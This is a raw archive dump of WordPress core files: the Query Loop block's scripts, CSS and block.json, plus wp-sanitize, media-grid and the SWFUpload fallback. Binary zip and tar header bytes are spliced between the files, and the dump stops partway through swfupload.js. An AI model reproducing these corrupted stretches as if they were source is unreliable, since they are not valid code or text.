/******/ 	__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 
/******/ 	// Return the exports of the module
/******/ 	return module.exports;
/******/ }
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store), ["withSyncEvent"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.withSyncEvent) });
;// ./node_modules/@wordpress/block-library/build-module/query/view.js
/**
 * WordPress dependencies
 */

const isValidLink = ref => ref && ref instanceof window.HTMLAnchorElement && ref.href && (!ref.target || ref.target === '_self') && ref.origin === window.location.origin;
const isValidEvent = event => event.button === 0 &&
// Left clicks only.
!event.metaKey &&
// Open in new tab (Mac).
!event.ctrlKey &&
// Open in new tab (Windows).
!event.altKey &&
// Download.
!event.shiftKey && !event.defaultPrevented;
(0,interactivity_namespaceObject.store)('core/query', {
  actions: {
    navigate: (0,interactivity_namespaceObject.withSyncEvent)(function* (event) {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      const queryRef = ref.closest('.wp-block-query[data-wp-router-region]');
      if (isValidLink(ref) && isValidEvent(event)) {
        event.preventDefault();
        const {
          actions
        } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438));
        yield actions.navigate(ref.href);
        ctx.url = ref.href;

        // Focus the first anchor of the Query block.
        const firstAnchor = `.wp-block-post-template a[href]`;
        queryRef.querySelector(firstAnchor)?.focus();
      }
    }),
    *prefetch() {
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      if (isValidLink(ref)) {
        const {
          actions
        } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438));
        yield actions.prefetch(ref.href);
      }
    }
  },
  callbacks: {
    *prefetch() {
      const {
        url
      } = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      if (url && isValidLink(ref)) {
        const {
          actions
        } = yield Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 438));
        yield actions.prefetch(ref.href);
      }
    }
  }
}, {
  lock: true
});

PK�[d[����TTview.min.asset.phpnu�[���<?php return array('dependencies' => array(), 'version' => '490915f92cc794ea16e1');
PK�[d[��$��view.min.jsnu�[���import*as e from"@wordpress/interactivity";var t={438:e=>{e.exports=import("@wordpress/interactivity-router")}},r={};function o(e){var n=r[e];if(void 0!==n)return n.exports;var i=r[e]={exports:{}};return t[e](i,i.exports,o),i.exports}o.d=(e,t)=>{for(var r in t)o.o(t,r)&&!o.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t);const n=(e=>{var t={};return o.d(t,e),t})({getContext:()=>e.getContext,getElement:()=>e.getElement,store:()=>e.store,withSyncEvent:()=>e.withSyncEvent}),i=e=>e&&e instanceof window.HTMLAnchorElement&&e.href&&(!e.target||"_self"===e.target)&&e.origin===window.location.origin;(0,n.store)("core/query",{actions:{navigate:(0,n.withSyncEvent)((function*(e){const t=(0,n.getContext)(),{ref:r}=(0,n.getElement)(),s=r.closest(".wp-block-query[data-wp-router-region]");if(i(r)&&(e=>!(0!==e.button||e.metaKey||e.ctrlKey||e.altKey||e.shiftKey||e.defaultPrevented))(e)){e.preventDefault();const{actions:n}=yield Promise.resolve().then(o.bind(o,438));yield n.navigate(r.href),t.url=r.href;const i=".wp-block-post-template a[href]";s.querySelector(i)?.focus()}})),*prefetch(){const{ref:e}=(0,n.getElement)();if(i(e)){const{actions:t}=yield Promise.resolve().then(o.bind(o,438));yield t.prefetch(e.href)}}},callbacks:{*prefetch(){const{url:e}=(0,n.getContext)(),{ref:t}=(0,n.getElement)();if(e&&i(t)){const{actions:e}=yield Promise.resolve().then(o.bind(o,438));yield e.prefetch(t.href)}}}},{lock:!0});PK�[d[w9�6VVeditor-rtl.cssnu�[���.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:-4px;
  padding:16px 0;
  position:sticky;
  top:0;
  transform:translateY(-4px);
  z-index:2;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.block-editor-block-settings-menu__popover.is-expanded{
  overflow-y:scroll;
}
.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{
  height:100%;
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr;
  grid-gap:12px;
  min-width:280px;
}
@media (min-width:600px){
  .block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
    grid-template-columns:1fr 1fr;
    min-width:480px;
  }
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}PK�[d[w9�6VV
editor.cssnu�[���.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:1280px){
  .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{
    column-count:3;
  }
}
.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{
  background:#fff;
  margin-bottom:-4px;
  padding:16px 0;
  position:sticky;
  top:0;
  transform:translateY(-4px);
  z-index:2;
}

@media (min-width:600px){
  .wp-block-query__enhanced-pagination-modal{
    max-width:480px;
  }
}

.block-editor-block-settings-menu__popover.is-expanded{
  overflow-y:scroll;
}
.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{
  height:100%;
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
  display:grid;
  grid-template-columns:1fr;
  grid-gap:12px;
  min-width:280px;
}
@media (min-width:600px){
  .block-editor-block-settings-menu__popover .block-editor-block-patterns-list{
    grid-template-columns:1fr 1fr;
    min-width:480px;
  }
}
.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{
  margin-bottom:0;
}PK�[d[2��
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query",
	"title": "Query Loop",
	"category": "theme",
	"description": "An advanced block that allows displaying post types based on different query parameters and visual configurations.",
	"keywords": [ "posts", "list", "blog", "blogs", "custom post types" ],
	"textdomain": "default",
	"attributes": {
		"queryId": {
			"type": "number"
		},
		"query": {
			"type": "object",
			"default": {
				"perPage": null,
				"pages": 0,
				"offset": 0,
				"postType": "post",
				"order": "desc",
				"orderBy": "date",
				"author": "",
				"search": "",
				"exclude": [],
				"sticky": "",
				"inherit": true,
				"taxQuery": null,
				"parents": [],
				"format": []
			}
		},
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"namespace": {
			"type": "string"
		},
		"enhancedPagination": {
			"type": "boolean",
			"default": false
		}
	},
	"usesContext": [ "templateSlug" ],
	"providesContext": {
		"queryId": "queryId",
		"query": "query",
		"displayLayout": "displayLayout",
		"enhancedPagination": "enhancedPagination"
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"layout": true,
		"interactivity": true
	},
	"editorStyle": "wp-block-query-editor"
}
PK�[d[���TTview.asset.phpnu�[���<?php return array('dependencies' => array(), 'version' => 'ee101e08820687c9c07f');
PK�[d[������editor.min.cssnu�[���.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:-4px;padding:16px 0;position:sticky;top:0;transform:translateY(-4px);z-index:2}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.block-editor-block-settings-menu__popover.is-expanded{overflow-y:scroll}.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{height:100%}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr;grid-gap:12px;min-width:280px}@media (min-width:600px){.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{grid-template-columns:1fr 1fr;min-width:480px}}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{margin-bottom:0}PK�[d[������editor-rtl.min.cssnu�[���PK�[d[���� view.jsnu�[���PK�[d[����TTview.min.asset.phpnu�[���PK�[d[��$���view.min.jsnu�[���PK�[d[w9�6VV�editor-rtl.cssnu�[���PK�[d[w9�6VV
@$editor.cssnu�[���PK�[d[2��
�)block.jsonnu�[���PK�[d[���TT/view.asset.phpnu�[���PK�[d[�������/editor.min.cssnu�[���PK		��414338/wp-sanitize.min.js.tar000064400000004000151024420100011364 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/wp-sanitize.min.js000064400000000712151024410450025356 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},wp.sanitize={stripTags:function(t){var e=(t=t||"").replace(/<!--[\s\S]*?(-->|$)/g,"").replace(/<(script|style)[^>]*>[\s\S]*?(<\/\1>|$)/gi,"").replace(/<\/?[a-z][\s\S]*?(>|$)/gi,"");return e!==t?wp.sanitize.stripTags(e):e},stripTagsAndEncodeText:function(t){var t=wp.sanitize.stripTags(t),e=document.createElement("textarea");try{e.textContent=t,t=wp.sanitize.stripTags(e.value)}catch(t){}return t}};14338/media-grid.min.js.tar000064400000035000151024420100011120 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/media-grid.min.js000064400000031712151024225270025116 0ustar00/*! This file is auto-generated */
(()=>{var i={659:t=>{var e=wp.media.view.l10n,e=wp.media.controller.State.extend({defaults:{id:"edit-attachment",title:e.attachmentDetails,content:"edit-metadata",menu:!1,toolbar:!1,router:!1}});t.exports=e},682:t=>{var e=wp.media.view.Button,i=wp.media.view.l10n,o=e.extend({initialize:function(){_.defaults(this.options,{size:""}),e.prototype.initialize.apply(this,arguments),this.controller.on("select:activate select:deactivate",this.toggleBulkEditHandler,this),this.controller.on("selection:action:done",this.back,this)},back:function(){this.controller.deactivateMode("select").activateMode("edit")},click:function(){e.prototype.click.apply(this,arguments),this.controller.isModeActive("select")?this.back():this.controller.deactivateMode("edit").activateMode("select")},render:function(){return e.prototype.render.apply(this,arguments),this.$el.addClass("select-mode-toggle-button"),this},toggleBulkEditHandler:function(){var t=this.controller.content.get().toolbar,e=t.$(".media-toolbar-secondary > *, .media-toolbar-primary > *");this.controller.isModeActive("select")?(this.model.set({size:"large",text:i.cancel}),e.not(".spinner, .media-button").hide(),this.$el.show(),t.$el.addClass("media-toolbar-mode-select"),t.$(".delete-selected-button").removeClass("hidden")):(this.model.set({size:"",text:i.bulkSelect}),this.controller.content.get().$el.removeClass("fixed"),t.$el.css("width",""),t.$el.removeClass("media-toolbar-mode-select"),t.$(".delete-selected-button").addClass("hidden"),e.not(".media-button").show(),this.controller.state().get("selection").reset())}});t.exports=o},1003:t=>{var e=wp.media.view.Frame,i=wp.media.view.MediaFrame,o=jQuery,i=i.extend({className:"edit-attachment-frame",template:wp.template("edit-attachment-frame"),regions:["title","content"],events:{"click .left":"previousMediaItem","click .right":"nextMediaItem"},initialize:function(){e.prototype.initialize.apply(this,arguments),_.defaults(this.options,{modal:!0,state:"edit-attachment"}),this.controller=this.options.controller,this.gridRouter=this.controller.gridRouter,this.library=this.options.library,this.options.model&&(this.model=this.options.model),this.bindHandlers(),this.createStates(),this.createModal(),this.title.mode("default"),this.toggleNav()},bindHandlers:function(){this.on("title:create:default",this.createTitle,this),this.on("content:create:edit-metadata",this.editMetadataMode,this),this.on("content:create:edit-image",this.editImageMode,this),this.on("content:render:edit-image",this.editImageModeRender,this),this.on("refresh",this.rerender,this),this.on("close",this.detach),this.bindModelHandlers(),this.listenTo(this.gridRouter,"route:search",this.close,this)},bindModelHandlers:function(){this.listenTo(this.model,"change:status destroy",this.close,this)},createModal:function(){this.options.modal&&(this.modal=new wp.media.view.Modal({controller:this,title:this.options.title,hasCloseButton:!1}),this.modal.on("open",_.bind(function(){o("body").on("keydown.media-modal",_.bind(this.keyEvent,this))},this)),this.modal.on("close",_.bind(function(){o("body").off("keydown.media-modal"),o('li.attachment[data-id="'+this.model.get("id")+'"]').trigger("focus"),this.resetRoute()},this)),this.modal.content(this),this.modal.open())},createStates:function(){this.states.add([new wp.media.controller.EditAttachmentMetadata({model:this.model,library:this.library})])},editMetadataMode:function(t){t.view=new wp.media.view.Attachment.Details.TwoColumn({controller:this,model:this.model}),t.view.views.set(".attachment-compat",new wp.media.view.AttachmentCompat({controller:this,model:this.model})),this.model&&!this.model.get("skipHistory")&&this.gridRouter.navigate(this.gridRouter.baseUrl("?item="+this.model.id))},editImageMode:function(t){var e=new wp.media.controller.EditImage({model:this.model,frame:this});e._toolbar=function(){},e._router=function(){},e._menu=function(){},t.view=new wp.media.view.EditImage.Details({model:this.model,frame:this,controller:e}),this.gridRouter.navigate(this.gridRouter.baseUrl("?item="+this.model.id+"&mode=edit"))},editImageModeRender:function(t){t.on("ready",t.loadEditor)},toggleNav:function(){this.$(".left").prop("disabled",!this.hasPrevious()),this.$(".right").prop("disabled",!this.hasNext())},rerender:function(t){this.stopListening(this.model),this.model=t,this.bindModelHandlers(),"edit-metadata"!==this.content.mode()?this.content.mode("edit-metadata"):this.content.render(),this.toggleNav()},previousMediaItem:function(){this.hasPrevious()&&(this.trigger("refresh",this.library.at(this.getCurrentIndex()-1)),this.focusNavButton(this.hasPrevious()?".left":".right"))},nextMediaItem:function(){this.hasNext()&&(this.trigger("refresh",this.library.at(this.getCurrentIndex()+1)),this.focusNavButton(this.hasNext()?".right":".left"))},focusNavButton:function(t){o(t).trigger("focus")},getCurrentIndex:function(){return this.library.indexOf(this.model)},hasNext:function(){return this.getCurrentIndex()+1<this.library.length},hasPrevious:function(){return-1<this.getCurrentIndex()-1},keyEvent:function(t){("INPUT"!==t.target.nodeName&&"TEXTAREA"!==t.target.nodeName||t.target.disabled)&&(39===t.keyCode&&this.nextMediaItem(),37===t.keyCode)&&this.previousMediaItem()},resetRoute:function(){var t=this.controller.browserView.toolbar.get("search").$el.val();this.gridRouter.navigate(this.gridRouter.baseUrl(""!==t?"?search="+t:""),{replace:!0})}});t.exports=i},1312:t=>{var e=wp.media.view.Attachment.Details,i=e.extend({template:wp.template("attachment-details-two-column"),initialize:function(){this.controller.on("content:activate:edit-details",_.bind(this.editAttachment,this)),e.prototype.initialize.apply(this,arguments)},editAttachment:function(t){t&&t.preventDefault(),this.controller.content.mode("edit-image")},toggleSelectionHandler:function(){}});t.exports=i},2429:t=>{var e=Backbone.Router.extend({routes:{"upload.php?item=:slug&mode=edit":"editItem","upload.php?item=:slug":"showItem","upload.php?search=:query":"search","upload.php":"reset"},baseUrl:function(t){return"upload.php"+t},reset:function(){var t=wp.media.frames.edit;t&&t.close()},search:function(t){jQuery("#media-search-input").val(t).trigger("input")},showItem:function(t){var e=wp.media,i=e.frames.browse,o=i.state().get("library").findWhere({id:parseInt(t,10)});o?(o.set("skipHistory",!0),i.trigger("edit:attachment",o)):(o=e.attachment(t),i.listenTo(o,"change",function(t){i.stopListening(o),i.trigger("edit:attachment",t)}),o.fetch())},editItem:function(t){this.showItem(t),wp.media.frames.edit.content.mode("edit-details")}});t.exports=e},5806:t=>{var e=wp.media.view.Button,i=wp.media.view.DeleteSelectedButton,o=i.extend({initialize:function(){i.prototype.initialize.apply(this,arguments),this.controller.on("select:activate",this.selectActivate,this),this.controller.on("select:deactivate",this.selectDeactivate,this)},filterChange:function(t){this.canShow="trash"===t.get("status")},selectActivate:function(){this.toggleDisabled(),this.$el.toggleClass("hidden",!this.canShow)},selectDeactivate:function(){this.toggleDisabled(),this.$el.addClass("hidden")},render:function(){return e.prototype.render.apply(this,arguments),this.selectActivate(),this}});t.exports=o},6606:t=>{var e=wp.media.view.Button,i=wp.media.view.l10n,o=e.extend({initialize:function(){e.prototype.initialize.apply(this,arguments),this.options.filters&&this.options.filters.model.on("change",this.filterChange,this),this.controller.on("selection:toggle",this.toggleDisabled,this),this.controller.on("select:activate",this.toggleDisabled,this)},filterChange:function(t){"trash"===t.get("status")?this.model.set("text",i.restoreSelected):wp.media.view.settings.mediaTrash?this.model.set("text",i.trashSelected):this.model.set("text",i.deletePermanently)},toggleDisabled:function(){this.model.set("disabled",!this.controller.state().get("selection").length)},render:function(){return e.prototype.render.apply(this,arguments),this.controller.isModeActive("select")?this.$el.addClass("delete-selected-button"):this.$el.addClass("delete-selected-button hidden"),this.toggleDisabled(),this}});t.exports=o},8359:t=>{var e=wp.media.view.MediaFrame,i=wp.media.controller.Library,s=Backbone.$,o=e.extend({initialize:function(){_.defaults(this.options,{title:"",modal:!1,selection:[],library:{},multiple:"add",state:"library",uploader:!0,mode:["grid","edit"]}),this.$body=s(document.body),this.$window=s(window),this.$adminBar=s("#wpadminbar"),this.$uploaderToggler=s(".page-title-action").attr("aria-expanded","false").on("click",_.bind(this.addNewClickHandler,this)),this.$window.on("scroll resize",_.debounce(_.bind(this.fixPosition,this),15)),this.$el.addClass("wp-core-ui"),!wp.Uploader.limitExceeded&&wp.Uploader.browser.supported||(this.options.uploader=!1),this.options.uploader&&(this.uploader=new wp.media.view.UploaderWindow({controller:this,uploader:{dropzone:document.body,container:document.body}}).render(),this.uploader.ready(),s("body").append(this.uploader.el),this.options.uploader=!1),this.gridRouter=new wp.media.view.MediaFrame.Manage.Router,e.prototype.initialize.apply(this,arguments),this.$el.appendTo(this.options.container),this.createStates(),this.bindRegionModeHandlers(),this.render(),this.bindSearchHandler(),wp.media.frames.browse=this},bindSearchHandler:function(){var t=this.$("#media-search-input"),e=this.browserView.toolbar.get("search").$el,i=this.$(".view-list"),o=_.throttle(function(t){var t=s(t.currentTarget).val(),e="";t&&this.gridRouter.navigate(this.gridRouter.baseUrl(e+="?search="+t),{replace:!0})},1e3);t.on("input",_.bind(o,this)),this.gridRouter.on("route:search",function(){var t=window.location.href;-1<t.indexOf("mode=")?t=t.replace(/mode=[^&]+/g,"mode=list"):t+=-1<t.indexOf("?")?"&mode=list":"?mode=list",t=t.replace("search=","s="),i.prop("href",t)}).on("route:reset",function(){e.val("").trigger("input")})},createStates:function(){var t=this.options;this.options.states||this.states.add([new i({library:wp.media.query(t.library),multiple:t.multiple,title:t.title,content:"browse",toolbar:"select",contentUserSetting:!1,filterable:"all",autoSelect:!1})])},bindRegionModeHandlers:function(){this.on("content:create:browse",this.browseContent,this),this.on("edit:attachment",this.openEditAttachmentModal,this),this.on("select:activate",this.bindKeydown,this),this.on("select:deactivate",this.unbindKeydown,this)},handleKeydown:function(t){27===t.which&&(t.preventDefault(),this.deactivateMode("select").activateMode("edit"))},bindKeydown:function(){this.$body.on("keydown.select",_.bind(this.handleKeydown,this))},unbindKeydown:function(){this.$body.off("keydown.select")},fixPosition:function(){var t,e;this.isModeActive("select")&&(e=(t=this.$(".attachments-browser")).find(".media-toolbar"),t.offset().top+16<this.$window.scrollTop()+this.$adminBar.height()?(t.addClass("fixed"),e.css("width",t.width()+"px")):(t.removeClass("fixed"),e.css("width","")))},addNewClickHandler:function(t){t.preventDefault(),this.trigger("toggle:upload:attachment"),this.uploader&&this.uploader.refresh()},openEditAttachmentModal:function(t){wp.media.frames.edit?wp.media.frames.edit.open().trigger("refresh",t):wp.media.frames.edit=wp.media({frame:"edit-attachments",controller:this,library:this.state().get("library"),model:t})},browseContent:function(t){var e=this.state();this.browserView=t.view=new wp.media.view.AttachmentsBrowser({controller:this,collection:e.get("library"),selection:e.get("selection"),model:e,sortable:e.get("sortable"),search:e.get("searchable"),filters:e.get("filterable"),date:e.get("date"),display:e.get("displaySettings"),dragInfo:e.get("dragInfo"),sidebar:"errors",suggestedWidth:e.get("suggestedWidth"),suggestedHeight:e.get("suggestedHeight"),AttachmentView:e.get("AttachmentView"),scrollElement:document}),this.browserView.on("ready",_.bind(this.bindDeferred,this)),this.errors=wp.Uploader.errors,this.errors.on("add remove reset",this.sidebarVisibility,this)},sidebarVisibility:function(){this.browserView.$(".media-sidebar").toggle(!!this.errors.length)},bindDeferred:function(){this.browserView.dfd&&this.browserView.dfd.done(_.bind(this.startHistory,this))},startHistory:function(){window.history&&window.history.pushState&&(Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:window._wpMediaGridSettings.adminUrl,pushState:!0}))}});t.exports=o},8521:t=>{var e=wp.media.View,i=wp.media.view.EditImage.extend({initialize:function(t){this.editor=window.imageEdit,this.frame=t.frame,this.controller=t.controller,e.prototype.initialize.apply(this,arguments)},back:function(){this.frame.content.mode("edit-metadata")},save:function(){this.model.fetch().done(_.bind(function(){this.frame.content.mode("edit-metadata")},this))}});t.exports=i}},o={};function s(t){var e=o[t];return void 0!==e||(e=o[t]={exports:{}},i[t](e,e.exports,s)),e.exports}var t=wp.media;t.controller.EditAttachmentMetadata=s(659),t.view.MediaFrame.Manage=s(8359),t.view.Attachment.Details.TwoColumn=s(1312),t.view.MediaFrame.Manage.Router=s(2429),t.view.EditImage.Details=s(8521),t.view.MediaFrame.EditAttachments=s(1003),t.view.SelectModeToggleButton=s(682),t.view.DeleteSelectedButton=s(6606),t.view.DeleteSelectedPermanentlyButton=s(5806)})();14338/swfupload.tar000064400000031000151024420100007721 0ustar00license.txt000064400000003004151024220310006712 0ustar00/**
 * SWFUpload: http://www.swfupload.org, http://swfupload.googlecode.com
 *
 * mmSWFUpload 1.0: Flash upload dialog - http://profandesign.se/swfupload/,  http://www.vinterwebb.se/
 *
 * SWFUpload is (c) 2006-2007 Lars Huring, Olov Nilzén and Mammon Media and is released under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 *
 * SWFUpload 2 is (c) 2007-2008 Jake Roberts and is released under the MIT License:
 * http://www.opensource.org/licenses/mit-license.php
 *
 */

The MIT License

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.handlers.js000064400000002664151024220310006700 0ustar00var topWin = window.dialogArguments || opener || parent || top;

function fileDialogStart() {}
function fileQueued() {}
function uploadStart() {}
function uploadProgress() {}
function prepareMediaItem() {}
function prepareMediaItemInit() {}
function itemAjaxError() {}
function deleteSuccess() {}
function deleteError() {}
function updateMediaForm() {}
function uploadSuccess() {}
function uploadComplete() {}
function wpQueueError() {}
function wpFileError() {}
function fileQueueError() {}
function fileDialogComplete() {}
function uploadError() {}
function cancelUpload() {}

function switchUploader() {
	jQuery( '#' + swfu.customSettings.swfupload_element_id ).hide();
	jQuery( '#' + swfu.customSettings.degraded_element_id ).show();
	jQuery( '.upload-html-bypass' ).hide();
}

function swfuploadPreLoad() {
	switchUploader();
}

function swfuploadLoadFailed() {
	switchUploader();
}

jQuery(document).ready(function($){
	$( 'input[type="radio"]', '#media-items' ).on( 'click', function(){
		var tr = $(this).closest('tr');

		if ( $(tr).hasClass('align') )
			setUserSetting('align', $(this).val());
		else if ( $(tr).hasClass('image-size') )
			setUserSetting('imgsize', $(this).val());
	});

	$( 'button.button', '#media-items' ).on( 'click', function(){
		var c = this.className || '';
		c = c.match(/url([^ '"]+)/);
		if ( c && c[1] ) {
			setUserSetting('urlbutton', c[1]);
			$(this).siblings('.urlfield').val( $(this).attr('title') );
		}
	});
});
handlers.min.js000064400000002374151024220310007460 0ustar00function fileDialogStart(){}function fileQueued(){}function uploadStart(){}function uploadProgress(){}function prepareMediaItem(){}function prepareMediaItemInit(){}function itemAjaxError(){}function deleteSuccess(){}function deleteError(){}function updateMediaForm(){}function uploadSuccess(){}function uploadComplete(){}function wpQueueError(){}function wpFileError(){}function fileQueueError(){}function fileDialogComplete(){}function uploadError(){}function cancelUpload(){}function switchUploader(){jQuery("#"+swfu.customSettings.swfupload_element_id).hide(),jQuery("#"+swfu.customSettings.degraded_element_id).show(),jQuery(".upload-html-bypass").hide()}function swfuploadPreLoad(){switchUploader()}function swfuploadLoadFailed(){switchUploader()}var topWin=window.dialogArguments||opener||parent||top;jQuery(document).ready(function(a){a('input[type="radio"]',"#media-items").on("click",function(){var b=a(this).closest("tr");a(b).hasClass("align")?setUserSetting("align",a(this).val()):a(b).hasClass("image-size")&&setUserSetting("imgsize",a(this).val())}),a("button.button","#media-items").on("click",function(){var b=this.className||"";b=b.match(/url([^ '"]+)/),b&&b[1]&&(setUserSetting("urlbutton",b[1]),a(this).siblings(".urlfield").val(a(this).attr("title")))})});swfupload.js000064400000010527151024220310007101 0ustar00/**
 * SWFUpload fallback
 *
 * @since 4.9.0
 */

var SWFUpload;

( function () {
	function noop() {}

	if (SWFUpload == undefined) {
		SWFUpload = function (settings) {
			this.initSWFUpload(settings);
		};
	}

	SWFUpload.prototype.initSWFUpload = function ( settings ) {
		function fallback() {
			var $ = window.jQuery;
			var $placeholder = settings.button_placeholder_id ? $( '#' + settings.button_placeholder_id ) : $( settings.button_placeholder );

			if ( ! $placeholder.length ) {
				return;
			}

			var $form = $placeholder.closest( 'form' );

			if ( ! $form.length ) {
				$form = $( '<form enctype="multipart/form-data" method="post">' );
				$form.attr( 'action', settings.upload_url );
				$form.insertAfter( $placeholder ).append( $placeholder );
			}

			$placeholder.replaceWith(
				$( '<div>' )
					.append(
						$( '<input type="file" multiple />' ).attr({
							name: settings.file_post_name || 'async-upload',
							accepts: settings.file_types || '*.*'
						})
					).append(
						$( '<input type="submit" name="html-upload" class="button" value="Upload" />' )
					)
			);
		}

		try {
			// Try the built-in fallback.
			if ( typeof settings.swfupload_load_failed_handler === 'function' && settings.custom_settings ) {

				window.swfu = {
					customSettings: settings.custom_settings
				};

				settings.swfupload_load_failed_handler();
			} else {
				fallback();
			}
		} catch ( ex ) {
			fallback();
		}
	};

	SWFUpload.instances = {};
	SWFUpload.movieCount = 0;
	SWFUpload.version = "0";
	SWFUpload.QUEUE_ERROR = {};
	SWFUpload.UPLOAD_ERROR = {};
	SWFUpload.FILE_STATUS = {};
	SWFUpload.BUTTON_ACTION = {};
	SWFUpload.CURSOR = {};
	SWFUpload.WINDOW_MODE = {};

	SWFUpload.completeURL = noop;
	SWFUpload.prototype.initSettings = noop;
	SWFUpload.prototype.loadFlash = noop;
	SWFUpload.prototype.getFlashHTML = noop;
	SWFUpload.prototype.getFlashVars = noop;
	SWFUpload.prototype.getMovieElement = noop;
	SWFUpload.prototype.buildParamString = noop;
	SWFUpload.prototype.destroy = noop;
	SWFUpload.prototype.displayDebugInfo = noop;
	SWFUpload.prototype.addSetting = noop;
	SWFUpload.prototype.getSetting = noop;
	SWFUpload.prototype.callFlash = noop;
	SWFUpload.prototype.selectFile = noop;
	SWFUpload.prototype.selectFiles = noop;
	SWFUpload.prototype.startUpload = noop;
	SWFUpload.prototype.cancelUpload = noop;
	SWFUpload.prototype.stopUpload = noop;
	SWFUpload.prototype.getStats = noop;
	SWFUpload.prototype.setStats = noop;
	SWFUpload.prototype.getFile = noop;
	SWFUpload.prototype.addFileParam = noop;
	SWFUpload.prototype.removeFileParam = noop;
	SWFUpload.prototype.setUploadURL = noop;
	SWFUpload.prototype.setPostParams = noop;
	SWFUpload.prototype.addPostParam = noop;
	SWFUpload.prototype.removePostParam = noop;
	SWFUpload.prototype.setFileTypes = noop;
	SWFUpload.prototype.setFileSizeLimit = noop;
	SWFUpload.prototype.setFileUploadLimit = noop;
	SWFUpload.prototype.setFileQueueLimit = noop;
	SWFUpload.prototype.setFilePostName = noop;
	SWFUpload.prototype.setUseQueryString = noop;
